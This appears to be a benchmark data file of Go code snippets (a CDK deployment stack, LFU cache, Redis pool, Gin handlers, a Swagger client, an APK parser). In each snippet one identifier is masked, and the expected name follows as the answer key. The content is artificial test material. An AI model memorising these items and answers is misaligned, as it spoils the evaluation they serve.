props.Domain), }) // distribution & deployment // App appViewerCertificate := awscloudfront.ViewerCertificate_FromAcmCertificate( certificateArn, &awscloudfront.ViewerCertificateOptions{ SslMethod: awscloudfront.SSLMethod_SNI, SecurityPolicy: awscloudfront.SecurityPolicyProtocol_TLS_V1_1_2016, Aliases: jsii.Strings(props.Subdomain + ""."" + props.Domain), }, ) appBucket := awss3.NewBucket(stack, jsii.String(""MyS3Bucket""), &awss3.BucketProps{ BucketName: jsii.String(props.Subdomain + ""."" + props.Domain), WebsiteIndexDocument: jsii.String(""index.html""), WebsiteErrorDocument: jsii.String(""index.html""), PublicReadAccess: jsii.Bool(true), BlockPublicAccess: awss3.BlockPublicAccess_BLOCK_ACLS(), AccessControl: awss3.BucketAccessControl_BUCKET_OWNER_FULL_CONTROL, }) appBucket.AddToResourcePolicy(awsiam.NewPolicyStatement(&awsiam.PolicyStatementProps{ Actions: jsii.Strings(""s3:GetObject""), Resources: jsii.Strings(*appBucket.ArnForObjects(jsii.String(""*""))), Principals: &[]awsiam.IPrincipal{ awsiam.NewCanonicalUserPrincipal(cloudfrontOAI.CloudFrontOriginAccessIdentityS3CanonicalUserId()), }, })) appCloudFrontDistribution := awscloudfront.NewCloudFrontWebDistribution(stack, jsii.String(""MainAppCloudFrontDistribution""), &awscloudfront.CloudFrontWebDistributionProps{ ViewerCertificate: appViewerCertificate, ErrorConfigurations: &[]*awscloudfront.CfnDistribution_CustomErrorResponseProperty{ { ErrorCode: jsii.Number(403), ResponseCode: jsii.Number(200), ErrorCachingMinTtl: jsii.Number(300), ResponsePagePath: jsii.String(""/index.html""), }, }, OriginConfigs: &[]*awscloudfront.SourceConfiguration{ { S3OriginSource: &awscloudfront.S3OriginConfig{ S3BucketSource: appBucket, OriginAccessIdentity: cloudfrontOAI, }, Behaviors: &[]*awscloudfront.Behavior{ { IsDefaultBehavior: jsii.Bool(true), Compress: jsii.Bool(true), AllowedMethods: awscloudfront.CloudFrontAllowedMethods_GET_HEAD_OPTIONS, }, }, }, }, }) awsroute53.NewARecord(stack, jsii.String(""MySiteAliasRecord""), &awsroute53.ARecordProps{ RecordName: jsii.String(props.Subdomain + ""."" + props.Domain), Target: awsroute53.RecordTarget_FromAlias(awsroute53targets.NewCloudFrontTarget(appCloudFrontDistribution)), Zone: zone, }) // Deploy web app if build exists if _, err := os.Stat(""../webapp/build/index.html""); err == nil { awss3deployment.NewBucketDeployment(stack, jsii.String(""MyS3BucketDeployment""), &awss3deployment.BucketDeploymentProps{ Sources: &[]awss3deployment.ISource{ awss3deployment.Source_Asset(jsii.String(""../webapp/build""), &awss3assets.AssetOptions{}), }, DestinationBucket: appBucket, Distribution: appCloudFrontDistribution, DistributionPaths: jsii.Strings(""/*""), }) } awscdk.NewCfnOutput(stack, jsii.String(""apiUrl""), &awscdk.CfnOutputProps{ Value: httpApi.Url(), Description: jsii.String(""HTTP API endpoint URL""), }) return stack } func main() { app := awscdk.NewApp(nil) RocketnotesStack(app, ""TakeNiftyNotesStack"", &RocketnotesStackProps{ awscdk.StackProps{ Env: env(), }, os.Getenv(""COGNITO_APP_CLIENT_ID""), os.Getenv(""COGNITO_USER_POOL_ID""), os.Getenv(""DOMAIN""), os.Getenv(""SUBDOMAIN""), }) app.Synth(nil) } func env() *awscdk.Environment { return &awscdk.Environment{ Account: jsii.String(os.Getenv(""AWS_ACCOUNT"")), Region: jsii.String(os.Getenv(""AWS_REGION"")), } } ",scope 521,"package main import ( ""container/list"" ""fmt"" ) type CacheItem struct { key string value interface{} frequencyParent *list.Element } type FrequencyItem struct { entries map[*CacheItem]byte freq int } type Cache struct { bykey map[string]*CacheItem freqs *list.List capacity int size int } func New() *Cache { cache := new(Cache) cache.bykey = make(map[string]*CacheItem) cache.freqs = list.New() cache.size = 0 cache.capacity = 0 return cache } func (cache *Cache) Set(key string, value interface{}) { if item, ok := cache.bykey[key]; ok { item.value = value } else { item := new(CacheItem) item.key = key item.value = value cache.bykey[key] = item cache.size++ if cache.atCapacity() { cache.Evict(10) } cache.increment(item) } } func (cache *Cache) Get(key string) interface{} { if e, ok := cache.bykey[key]; ok { cache.increment(e) return e.value } return nil } func (cache *Cache) increment(item *CacheItem) { currentFrequency := item.frequencyParent var nextFrequencyAmount int var nextFrequency *list.Element if currentFrequency == nil { nextFrequencyAmount = 1 nextFrequency = cache.freqs.Front() } else { nextFrequencyAmount = currentFrequency.Value.(*FrequencyItem).freq + 1 nextFrequency = currentFrequency.Next() } if nextFrequency == nil || nextFrequency.Value.(*FrequencyItem).freq != nextFrequencyAmount { newFrequencyItem := new(FrequencyItem) newFrequencyItem.freq = nextFrequencyAmount newFrequencyItem.entries = make(map[*CacheItem]byte) if currentFrequency == nil { nextFrequency = cache.freqs.PushFront(newFrequencyItem) } else { nextFrequency = cache.freqs.InsertAfter(newFrequencyItem, currentFrequency) } } item.frequencyParent = nextFrequency nextFrequency.Value.(*FrequencyItem).entries[item] = 1 if currentFrequency != nil { cache.Remove(currentFrequency, item) } } func (cache *Cache) Remove( [MASK] *list.Element, item *CacheItem) { frequencyItem := [MASK] .Value.(*FrequencyItem) delete(frequencyItem.entries, item) if len(frequencyItem.entries) == 0 { cache.freqs.Remove( [MASK] ) } } func (cache *Cache) Evict(count int) { for i := 0; i < count; { if item := cache.freqs.Front(); item != nil { for entry, _ := range item.Value.(*FrequencyItem).entries { if i < count { delete(cache.bykey, entry.key) cache.Remove(item, entry) cache.size-- i++ } } } } } func (cache *Cache) atCapacity() bool { return cache.size >= cache.capacity } func main() { lfucache := New() lfucache.Set(""test1"", ""A B C"") fmt.Println(lfucache.Get(""test1"")) } ",listItem 522,"package r import ( ""fmt"" ""github.com/gomodule/redigo/redis"" ""time"" ) type RedisConfig struct { Host string Port string Password string Db int } type R struct { redisPool *redis.Pool client redis.Conn } var r = new(R) func (redisConfig *RedisConfig) Dial() error { address := fmt.Sprintf(""%v:%v"", redisConfig.Host, redisConfig.Port) dbOption := redis.DialDatabase(redisConfig.Db) pwOption := redis.DialPassword(redisConfig.Password) // **重要** 设置读写超时 readTimeout := redis.DialReadTimeout(time.Second * 60) writeTimeout := redis.DialWriteTimeout(time.Second * 60) conTimeout := redis.DialConnectTimeout(time.Second * 60) r.redisPool = &redis.Pool{ MaxIdle: 500, MaxActive: 500, // **重要** 如果空闲列表中没有可用的连接 // 且当前Active连接数 < MaxActive // 则等待 Wait: true, IdleTimeout: 300 * time.Second, Dial: func() (redis.Conn, error) { c, err := redis.Dial(""tcp"", address, dbOption, pwOption, readTimeout, writeTimeout, conTimeout) if err != nil { return nil, err } return c, nil }, TestOnBorrow: func(c redis.Conn, t time.Time) error { _, err := c.Do(""PING"") if nil != err { fmt.Println(""redis ping error:""+err.Error(), ""error"") } return err }, } r.client = r.redisPool.Get() err := r.redisPool.TestOnBorrow(r.client, time.Now()) return err } func Dal( [MASK] string) *R { var redisConfig *RedisConfig if [MASK] == """" { redisConfig = SetConf() } err := redisConfig.Dial() if err != nil { fmt.Println(err) return nil } return r } func SetConf() *RedisConfig { return &RedisConfig{""127.0.0.1"", ""6379"", """", 0} } //close redis pool func Close() { err := r.redisPool.Close() if err != nil { fmt.Println(""Close redis error"", err) } } ",name 523,"package conf import ( ""context"" ""flag"" ""fmt"" ""github.com/go-redis/redis/v8"" ""gopkg.in/yaml.v3"" ""gorm.io/driver/mysql"" ""gorm.io/gorm"" ""io/ioutil"" ""log"" ""time"" ) type Config struct { Server struct { Addr string `yaml:""addr""` } Mysql struct { Dsn string `yaml:""dsn""` } Redis struct { Addr string `yaml:""addr""` Database int `yaml:""database""` Password string `yaml:""password""` Expiration time.Duration `yaml:""expiration""` } } var ( Cfg *Config DB *gorm.DB Rdb *redis.Client configFilename = flag.String(""config_filename"", ""config.yml"", ""Config Filename"") ) func init() { flag.Parse() cfg, err := NewConfig(*configFilename) if err != nil { log.Fatal(err) } Cfg = cfg fmt.Println(cfg) // init redis client err = initRedisClient() if err != nil { log.Fatal(err) } // init mysql db session err = initMysqlDB() if err != nil { log.Fatal(err) } } func NewConfig(filename string) (cfg *Config, err error) { yml, err := ioutil.ReadFile(filename) if err != nil { return } cfg = new(Config) err = yaml.Unmarshal(yml, cfg) return } // init redis client func initRedisClient() (err error) { [MASK] := redis.NewClient(&redis.Options{ Addr: Cfg.Redis.Addr, Password: Cfg.Redis.Password, DB: Cfg.Redis.Database, }) ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() _, err = [MASK] .Ping(ctx).Result() if err != nil { return } Rdb = [MASK] return } // init mysql db session func initMysqlDB() (err error) { dsn := Cfg.Mysql.Dsn db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { return } DB = db return } ",rdb 524,"package api import ( ""basic-antd/model"" ""basic-antd/pkg/response"" ""basic-antd/tools"" ""github.com/gin-gonic/gin"" ""strconv"" ) func CreateApi(c *gin.Context) { var ( api model.Api err error ) if err = c.ShouldBind(&api); err != nil { response.Error(c, response.CodeParamErr, nil, ""参数绑定错误"") return } err = api.Insert() if err != nil { response.Error(c, response.CodeDBError, nil, err.Error()) return } response.Success(c, nil, ""新增api成功"") } func GetApiPage(c *gin.Context) { var ( api model.Api err error pageIndex = 1 [MASK] = 10 ) if index := c.Request.FormValue(""page_index""); index != """" { pageIndex, _ = strconv.Atoi(index) } if size := c.Request.FormValue(""page_size""); size != """" { [MASK] , _ = strconv.Atoi(size) } api.Path = c.Request.FormValue(""path"") api.Method = c.Request.FormValue(""method"") api.Desc = c.Request.FormValue(""desc"") api.Group = c.Request.FormValue(""group"") data, count, err := api.GetPage(pageIndex, [MASK] ) if err != nil { response.Error(c, response.CodeDBError, nil, ""获取api分页数据出错"") return } response.Paginate(c, data, count, pageIndex, [MASK] , ""获取api分页数据成功"") } func GetApiList(c *gin.Context) { var ( api model.Api err error ) data, err := api.GetList() if err != nil { response.Error(c, response.CodeDBError, nil, ""获取api列表失败"") return } response.Success(c, data, ""获取列表成功"") } func GetCasbinApiList(c *gin.Context) { var ( casbin model.CasbinRule err error ) roleKey := c.Param(""roleKey"") data, err := casbin.GetList(roleKey) if err != nil { response.Error(c, response.CodeDBError, nil, ""获取casbin列表失败"") return } response.Success(c, data, ""获取casbin列表成功"") } func GetApi(c *gin.Context) { var ( api model.Api err error ) id, _ := strconv.Atoi(c.Param(""id"")) api.ID = id data, err := api.Get() if err != nil { response.Error(c, response.CodeDBError, nil, ""获取api数据出错"") return } response.Success(c, data, ""获取api数据成功"") } func UpdateApi(c *gin.Context) { var ( api model.Api err error ) if err = c.ShouldBind(&api); err != nil { response.Error(c, response.CodeParamErr, nil, ""参数错误"") return } err = api.Update() if err != nil { response.Error(c, response.CodeDBError, nil, ""更新失败"") return } response.Success(c, nil, ""更新成功"") } func DeleteApi(c *gin.Context) { var ( api model.Api err error ) ids := tools.IdStrToIdsGroup(""id"", c) err = api.Delete(ids) if err != nil { response.Error(c, response.CodeDBError, nil, ""删除失败"") return } response.Success(c, nil, ""删除成功"") } ",pageSize 525,"/* * syntropy-controller * * No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) * * API version: 0.1.0 * Generated by: Swagger Codegen (https://github.com/swagger-api/swagger-codegen.git) */ package swagger import ( ""context"" ""fmt"" ""io/ioutil"" ""net/http"" ""net/url"" ""strings"" ""github.com/antihax/optional"" ) // Linger please var ( _ context.Context ) type AgentConnectionsApiService service /* AgentConnectionsApiService * @param ctx context.Context - for authentication, logging, cancellation, deadlines, tracing, etc. Passed from http.Request or context.Background(). * @param body @return ModelMap */ func (a *AgentConnectionsApiService) AgentConnectionCreate(ctx context.Context, body ModelMap) (ModelMap, *http.Response, error) { var ( localVarHttpMethod = strings.ToUpper(""Post"") localVarPostBody interface{} localVarFileName string localVarFileBytes []byte localVarReturnValue ModelMap ) // create path and map variables localVarPath := a.client.cfg.BasePath + ""/api/agent-connections"" localVarHeaderParams := make(map[string]string) localVarQueryParams := url.Values{} localVarFormParams := url.Values{} // to determine the Content-Type header localVarHttpContentTypes := []string{""application/json""} // set Content-Type header localVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes) if localVarHttpContentType != """" { localVarHeaderParams[""Content-Type""] = localVarHttpContentType } // to determine the Accept header localVarHttpHeaderAccepts := []string{""application/json""} // set Accept header localVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts) if localVarHttpHeaderAccept != """" { localVarHeaderParams[""Accept""] = localVarHttpHeaderAccept } // body params localVarPostBody = &body r, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes) if err != nil { return localVarReturnValue, nil, err } localVarHttpResponse, err := a.client.callAPI(r) if err != nil || localVarHttpResponse == nil { return localVarReturnValue, localVarHttpResponse, err } localVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body) localVarHttpResponse.Body.Close() if err != nil { return localVarReturnValue, localVarHttpResponse, err } if localVarHttpResponse.StatusCode < 300 { // If we succeed, return the data, otherwise pass on to decode error. err = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err == nil { return localVarReturnValue, localVarHttpResponse, err } } if localVarHttpResponse.StatusCode >= 300 { newErr := GenericSwaggerError{ body: localVarBody, error: localVarHttpResponse.Status, } if localVarHttpResponse.StatusCode == 200 { var v ModelMap err = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err != nil { newErr.error = err.Error() return localVarReturnValue, localVarHttpResponse, newErr } newErr.model = v return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, nil } /* AgentConnectionsApiService * @param ctx context.Context - for authentication, logging, cancellation, deadlines, tracing, etc. Passed from http.Request or context.Background(). * @param id */ func (a *AgentConnectionsApiService) AgentConnectionDestroy(ctx context.Context, id float64) (*http.Response, error) { var ( localVarHttpMethod = strings.ToUpper(""Delete"") localVarPostBody interface{} localVarFileName string localVarFileBytes []byte ) // create path and map variables localVarPath := a.client.cfg.BasePath + ""/api/agent-connections/{id}"" localVarPath = strings.Replace(localVarPath, ""{""+""id""+""}"", fmt.Sprintf(""%v"", id), -1) localVarHeaderParams := make(map[string]string) localVarQueryParams := url.Values{} localVarFormParams := url.Values{} // to determine the Content-Type header localVarHttpContentTypes := []string{} // set Content-Type header localVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes) if localVarHttpContentType != """" { localVarHeaderParams[""Content-Type""] = localVarHttpContentType } // to determine the Accept header localVarHttpHeaderAccepts := []string{} // set Accept header localVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts) if localVarHttpHeaderAccept != """" { localVarHeaderParams[""Accept""] = localVarHttpHeaderAccept } r, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes) if err != nil { return nil, err } localVarHttpResponse, err := a.client.callAPI(r) if err != nil || localVarHttpResponse == nil { return localVarHttpResponse, err } localVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body) localVarHttpResponse.Body.Close() if err != nil { return localVarHttpResponse, err } if localVarHttpResponse.StatusCode >= 300 { newErr := GenericSwaggerError{ body: localVarBody, error: localVarHttpResponse.Status, } return localVarHttpResponse, newErr } return localVarHttpResponse, nil } /* AgentConnectionsApiService * @param ctx context.Context - for authentication, logging, cancellation, deadlines, tracing, etc. Passed from http.Request or context.Background(). * @param optional nil or *AgentConnectionsApiAgentConnectionIndexOpts - Optional Parameters: * @param ""Skip"" (optional.Float64) - * @param ""Take"" (optional.Float64) - * @param ""Order"" (optional.String) - * @param ""Filter"" (optional.String) - @return []ModelMap */ type AgentConnectionsApiAgentConnectionIndexOpts struct { Skip optional.Float64 Take optional.Float64 Order optional.String Filter optional.String } func (a *AgentConnectionsApiService) AgentConnectionIndex(ctx context.Context, [MASK] *AgentConnectionsApiAgentConnectionIndexOpts) ([]ModelMap, *http.Response, error) { var ( localVarHttpMethod = strings.ToUpper(""Get"") localVarPostBody interface{} localVarFileName string localVarFileBytes []byte localVarReturnValue []ModelMap ) // create path and map variables localVarPath := a.client.cfg.BasePath + ""/api/agent-connections"" localVarHeaderParams := make(map[string]string) localVarQueryParams := url.Values{} localVarFormParams := url.Values{} if [MASK] != nil && [MASK] .Skip.IsSet() { localVarQueryParams.Add(""skip"", parameterToString( [MASK] .Skip.Value(), """")) } if [MASK] != nil && [MASK] .Take.IsSet() { localVarQueryParams.Add(""take"", parameterToString( [MASK] .Take.Value(), """")) } if [MASK] != nil && [MASK] .Order.IsSet() { localVarQueryParams.Add(""order"", parameterToString( [MASK] .Order.Value(), """")) } if [MASK] != nil && [MASK] .Filter.IsSet() { localVarQueryParams.Add(""filter"", parameterToString( [MASK] .Filter.Value(), """")) } // to determine the Content-Type header localVarHttpContentTypes := []string{} // set Content-Type header localVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes) if localVarHttpContentType != """" { localVarHeaderParams[""Content-Type""] = localVarHttpContentType } // to determine the Accept header localVarHttpHeaderAccepts := []string{""application/json""} // set Accept header localVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts) if localVarHttpHeaderAccept != """" { localVarHeaderParams[""Accept""] = localVarHttpHeaderAccept } r, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes) if err != nil { return localVarReturnValue, nil, err } localVarHttpResponse, err := a.client.callAPI(r) if err != nil || localVarHttpResponse == nil { return localVarReturnValue, localVarHttpResponse, err } localVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body) localVarHttpResponse.Body.Close() if err != nil { return localVarReturnValue, localVarHttpResponse, err } if localVarHttpResponse.StatusCode < 300 { // If we succeed, return the data, otherwise pass on to decode error. err = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err == nil { return localVarReturnValue, localVarHttpResponse, err } } if localVarHttpResponse.StatusCode >= 300 { newErr := GenericSwaggerError{ body: localVarBody, error: localVarHttpResponse.Status, } if localVarHttpResponse.StatusCode == 200 { var v []ModelMap err = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err != nil { newErr.error = err.Error() return localVarReturnValue, localVarHttpResponse, newErr } newErr.model = v return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, nil } /* AgentConnectionsApiService Return packet loss and latency for the provided connections. * @param ctx context.Context - for authentication, logging, cancellation, deadlines, tracing, etc. Passed from http.Request or context.Background(). * @param endpoints Parameter \"endpoints\" takes an array of agents ids pairs: [[11,22],[33,44]]. @return ModelMap */ func (a *AgentConnectionsApiService) AgentConnectionRoutingInfo(ctx context.Context, endpoints string) (ModelMap, *http.Response, error) { var ( localVarHttpMethod = strings.ToUpper(""Get"") localVarPostBody interface{} localVarFileName string localVarFileBytes []byte localVarReturnValue ModelMap ) // create path and map variables localVarPath := a.client.cfg.BasePath + ""/api/agent-connections/routing-info"" localVarHeaderParams := make(map[string]string) localVarQueryParams := url.Values{} localVarFormParams := url.Values{} localVarQueryParams.Add(""endpoints"", parameterToString(endpoints, """")) // to determine the Content-Type header localVarHttpContentTypes := []string{} // set Content-Type header localVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes) if localVarHttpContentType != """" { localVarHeaderParams[""Content-Type""] = localVarHttpContentType } // to determine the Accept header localVarHttpHeaderAccepts := []string{""application/json""} // set Accept header localVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts) if localVarHttpHeaderAccept != """" { localVarHeaderParams[""Accept""] = localVarHttpHeaderAccept } r, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes) if err != nil { return localVarReturnValue, nil, err } localVarHttpResponse, err := a.client.callAPI(r) if err != nil || localVarHttpResponse == nil { return localVarReturnValue, localVarHttpResponse, err } localVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body) localVarHttpResponse.Body.Close() if err != nil { return localVarReturnValue, localVarHttpResponse, err } if localVarHttpResponse.StatusCode < 300 { // If we succeed, return the data, otherwise pass on to decode error. err = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err == nil { return localVarReturnValue, localVarHttpResponse, err } } if localVarHttpResponse.StatusCode >= 300 { newErr := GenericSwaggerError{ body: localVarBody, error: localVarHttpResponse.Status, } if localVarHttpResponse.StatusCode == 200 { var v ModelMap err = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err != nil { newErr.error = err.Error() return localVarReturnValue, localVarHttpResponse, newErr } newErr.model = v return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, nil } /* AgentConnectionsApiService * @param ctx context.Context - for authentication, logging, cancellation, deadlines, tracing, etc. Passed from http.Request or context.Background(). * @param id @return ModelMap */ func (a *AgentConnectionsApiService) AgentConnectionShow(ctx context.Context, id float64) (ModelMap, *http.Response, error) { var ( localVarHttpMethod = strings.ToUpper(""Get"") localVarPostBody interface{} localVarFileName string localVarFileBytes []byte localVarReturnValue ModelMap ) // create path and map variables localVarPath := a.client.cfg.BasePath + ""/api/agent-connections/{id}"" localVarPath = strings.Replace(localVarPath, ""{""+""id""+""}"", fmt.Sprintf(""%v"", id), -1) localVarHeaderParams := make(map[string]string) localVarQueryParams := url.Values{} localVarFormParams := url.Values{} // to determine the Content-Type header localVarHttpContentTypes := []string{} // set Content-Type header localVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes) if localVarHttpContentType != """" { localVarHeaderParams[""Content-Type""] = localVarHttpContentType } // to determine the Accept header localVarHttpHeaderAccepts := []string{""application/json""} // set Accept header localVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts) if localVarHttpHeaderAccept != """" { localVarHeaderParams[""Accept""] = localVarHttpHeaderAccept } r, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes) if err != nil { return localVarReturnValue, nil, err } localVarHttpResponse, err := a.client.callAPI(r) if err != nil || localVarHttpResponse == nil { return localVarReturnValue, localVarHttpResponse, err } localVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body) localVarHttpResponse.Body.Close() if err != nil { return localVarReturnValue, localVarHttpResponse, err } if localVarHttpResponse.StatusCode < 300 { // If we succeed, return the data, otherwise pass on to decode error. err = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err == nil { return localVarReturnValue, localVarHttpResponse, err } } if localVarHttpResponse.StatusCode >= 300 { newErr := GenericSwaggerError{ body: localVarBody, error: localVarHttpResponse.Status, } if localVarHttpResponse.StatusCode == 200 { var v ModelMap err = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err != nil { newErr.error = err.Error() return localVarReturnValue, localVarHttpResponse, newErr } newErr.model = v return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, nil } /* AgentConnectionsApiService * @param ctx context.Context - for authentication, logging, cancellation, deadlines, tracing, etc. Passed from http.Request or context.Background(). * @param body * @param id @return ModelMap */ func (a *AgentConnectionsApiService) AgentConnectionUpdate(ctx context.Context, body TsoaPartialAgentConnectionObject_, id float64) (ModelMap, *http.Response, error) { var ( localVarHttpMethod = strings.ToUpper(""Patch"") localVarPostBody interface{} localVarFileName string localVarFileBytes []byte localVarReturnValue ModelMap ) // create path and map variables localVarPath := a.client.cfg.BasePath + ""/api/agent-connections/{id}"" localVarPath = strings.Replace(localVarPath, ""{""+""id""+""}"", fmt.Sprintf(""%v"", id), -1) localVarHeaderParams := make(map[string]string) localVarQueryParams := url.Values{} localVarFormParams := url.Values{} // to determine the Content-Type header localVarHttpContentTypes := []string{""application/json""} // set Content-Type header localVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes) if localVarHttpContentType != """" { localVarHeaderParams[""Content-Type""] = localVarHttpContentType } // to determine the Accept header localVarHttpHeaderAccepts := []string{""application/json""} // set Accept header localVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts) if localVarHttpHeaderAccept != """" { localVarHeaderParams[""Accept""] = localVarHttpHeaderAccept } // body params localVarPostBody = &body r, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes) if err != nil { return localVarReturnValue, nil, err } localVarHttpResponse, err := a.client.callAPI(r) if err != nil || localVarHttpResponse == nil { return localVarReturnValue, localVarHttpResponse, err } localVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body) localVarHttpResponse.Body.Close() if err != nil { return localVarReturnValue, localVarHttpResponse, err } if localVarHttpResponse.StatusCode < 300 { // If we succeed, return the data, otherwise pass on to decode error. err = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err == nil { return localVarReturnValue, localVarHttpResponse, err } } if localVarHttpResponse.StatusCode >= 300 { newErr := GenericSwaggerError{ body: localVarBody, error: localVarHttpResponse.Status, } if localVarHttpResponse.StatusCode == 200 { var v ModelMap err = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(""Content-Type"")) if err != nil { newErr.error = err.Error() return localVarReturnValue, localVarHttpResponse, newErr } newErr.model = v return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, newErr } return localVarReturnValue, localVarHttpResponse, nil } ",localVarOptionals 526,"package apkparser import ( ""archive/zip"" ""bytes"" ""crypto/md5"" ""encoding/xml"" ""errors"" ""fmt"" ""image"" _ ""image/jpeg"" // handle jpeg format _ ""image/png"" // handle png format ""io"" ""os"" ""strconv"" ""strings"" ) // apk is an application package file for android. type apk struct { f *os.File zipReader *zip.Reader apkManifest apkManifest table *TableFile supportOs32 bool supportOs64 bool md5 string size int64 } // openFile will open the file specified by filename and return apk func openFile(filename string) (apk *apk, err error) { f, err := os.Open(filename) if err != nil { return nil, err } fi, err := f.Stat() if err != nil { f.Close() return nil, err } apk, err = openZipReader(f, fi.Size()) if err != nil { f.Close() return nil, err } apk.f = f apk.size = fi.Size() return } // openZipReader has same arguments like zip.NewReader func openZipReader(r *os.File, size int64) (*apk, error) { zipReader, err := zip.NewReader(r, size) if err != nil { return nil, err } apk := &apk{ zipReader: zipReader, } if err = apk.parseResources(); err != nil { return nil, err } if err = apk.parseManifest(); err != nil { return nil, errors.New(""parse-apkManifest:"" + err.Error()) } apk.parseOsSupport(zipReader) apk.getApkMd5(r) return apk, nil } // close is avaliable only if apk is created with openFile func (k *apk) close() error { if k.f == nil { return nil } return k.f.Close() } // icon returns the icon image of the APK. func (k *apk) icon(resConfig *ResTableConfig) (image.Image, error) { iconPath := k.getResource(k.apkManifest.App.Icon, resConfig) if IsResID(iconPath) { return nil, errors.New(""unable to convert icon-id to icon path"") } [MASK] , err := k.readZipFile(iconPath) if err != nil { return nil, err } m, _, err := image.Decode(bytes.NewReader( [MASK] )) return m, err } // label returns the label of the APK. func (k *apk) label(resConfig *ResTableConfig) (s string, err error) { s = k.getResource(k.apkManifest.App.Label, resConfig) if IsResID(s) { err = errors.New(""unable to convert label-id to string"") } return } // manifest returns the apkManifest of the APK. func (k *apk) manifest() apkManifest { return k.apkManifest } // packageName returns the package name of the APK. func (k *apk) packageName() string { return k.apkManifest.Package } // mainActivity returns the name of the main activity. func (k *apk) mainActivity() (activity string, err error) { for _, act := range k.apkManifest.App.Activities { for _, intent := range act.IntentFilters { if intent.Action.Name == ""android.intent.action.MAIN"" && intent.Category.Name == ""android.intent.category.LAUNCHER"" { return act.Name, nil } } } for _, act := range k.apkManifest.App.ActivityAliases { for _, intent := range act.IntentFilters { if intent.Action.Name == ""android.intent.action.MAIN"" && intent.Category.Name == ""android.intent.category.LAUNCHER"" { return act.TargetActivity, nil } } } return """", errors.New(""no main activity found"") } func (k *apk) parseManifest() error { xmlData, err := k.readZipFile(""AndroidManifest.xml"") if err != nil { return errors.New(""read-apkManifest.xml"" + err.Error()) } xmlFile, err := NewXMLFile(bytes.NewReader(xmlData)) if err != nil { return errors.New(""parse-xml:"" + err.Error()) } reader := xmlFile.Reader() data, err := io.ReadAll(reader) if err != nil { return err } // 新增临时解析逻辑 var tmp tempManifest if err := xml.Unmarshal(data, &tmp); err != nil { return err } // 转换特定属性的类型 hardwareAccelerated := k.parseBool(tmp.App.HardwareAccelerated) vMSafeMode := k.parseBool(tmp.App.VMSafeMode) largeHeap := k.parseBool(tmp.App.LargeHeap) k.apkManifest = apkManifest{ Package: tmp.Package, VersionCode: tmp.VersionCode, VersionName: tmp.VersionName, App: apkApplication{ AllowTaskReParenting: tmp.App.AllowTaskReParenting, AllowBackup: tmp.App.AllowBackup, BackupAgent: tmp.App.BackupAgent, Debuggable: tmp.App.Debuggable, Description: tmp.App.Description, Enabled: tmp.App.Enabled, HasCode: tmp.App.HasCode, HardwareAccelerated: hardwareAccelerated, Icon: tmp.App.Icon, KillAfterRestore: tmp.App.KillAfterRestore, Label: tmp.App.Label, Logo: tmp.App.Logo, ManageSpaceActivity: tmp.App.ManageSpaceActivity, Name: tmp.App.Name, Permission: tmp.App.Permission, Persistent: tmp.App.Persistent, Process: tmp.App.Process, RestoreAnyVersion: 